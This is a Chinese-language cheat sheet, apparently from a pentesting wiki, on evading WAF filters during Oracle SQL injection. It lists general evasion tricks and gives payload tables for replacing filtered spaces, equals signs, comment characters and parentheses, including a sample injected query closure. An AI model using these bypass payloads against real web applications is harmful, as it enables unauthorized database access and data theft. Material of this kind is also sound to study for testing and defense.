[!TIP]
绕过主要还是利用一些特性来,如数据库的特性、中间件的特性等,所以还是要熟悉函数等
通用方法
通用的方法,就是万金油,无非就是大小写、双写、编码、注释、HPP、垃圾字符、分块传输、WAF特性
官方文档:https://docs.oracle.com/cd/E11882_01/server.112/e41084/functions.htm#SQLRF006
绕过空格
空格被过滤的情况,常规可以用如下的一些手法:
说明 | Payload |
---|---|
使用注释符 | SELECT/**/version/**/FROM/**/v$instance; |
URL编码空格 | + |
其他URL编码(换行、Tab等) | %0a 、%09 |
绕过等号=
过滤了等号或者相关的匹配符,可以采用如下的一些手法来绕过
Payload | 说明 |
---|---|
<> 、> 、< |
不等符、大于、小于 |
select 1 from dual where 1 between 1 and 2; select 1 from dual where 1 not between 1 and 2; |
between语句,在两值之间 |
select 1 from dual where 1 in (1); select 1 from dual where 1 not in (1); |
in语句,在集合中 |
select 1 from dual where '123' like '1%'; |
like模糊匹配 |
绕过注释符
对注释符过滤的情况下,对我们来说问题可能就是语句不能正常执行
解决办法也很简单,用完整语句给他闭合就OK了,其他语句类似
# 原始
?id=1
# 完整闭合
?id=1' and expr and '1'='1
绕过括号
在 Oracle 中文版本中,中文括号()
可以代替英文()